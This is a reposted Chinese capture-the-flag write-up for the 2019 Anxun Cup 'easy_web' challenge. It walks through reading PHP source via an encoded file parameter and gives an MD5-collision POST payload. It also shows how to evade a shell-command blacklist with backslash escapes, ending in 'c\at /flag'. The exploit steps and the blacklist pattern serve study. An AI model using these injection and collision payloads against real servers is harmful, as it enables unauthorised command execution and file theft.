[安洵杯 2019]easy_web
题目:
打开环境,得到;
在url栏里发现了这一串代码:
?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=
前面的img很明显是加了密的,所以尝试去解密,先试试base64解密,得到:
继续base64解密:
猜测其为base16加密,解密得到:
555.png应该就是上面的这张图片了:
emmmmmm…
好像没什么很大的用,不过倒是可以去把index.php按照这几种加密方式顺序去加密:
先base16,再来两次base64,得到:
TmprMlJUWTBOalUzT0RKRk56QTJPRGN3
访问过后,在源码里得到:
直接base64解密就行:
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
?>
接下来就是进行代码审计了,重点是这几段代码:
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
现在的想法就是用md5的强碰撞,然后去执行echo `$cmd`;
构造payload:
a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
不过不知道为什么,在直接用post传参的时候,始终会出现报错(MD5 is funny
),但用bp不会:
很明显的看到,没有出现报错回显,所以是绕过了的
现在难点就是去绕过正则的匹配了
看下过滤的限制:
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd))
绝大部分能查看的命令都被过滤了,不过dir
没有被过滤,所以先来用dir
看下目录:
里面出现了flag的字样,不过该怎么去读取flag呢?
|\*|\?|\\|\\\\|\n|\t|\r|
这里说下关于正则匹配里的反斜杠知识:
在PHP中,要通过正则表达式过滤掉
\
,必须要通过四个反斜杠才行\\\\
,这是因为正则匹配要经过两层解析,一层是php,一层是正则表达式,在此处的话\\|
,相当于是\|
,之后又与后面的|进行了转义,所以实现的相当于就是对|
的过滤,而没有过滤掉\
故此处并没有过滤掉\
那这就好办了,直接用命令c\at /flag
就行
转载:https://blog.csdn.net/qq_51652864/article/details/116200079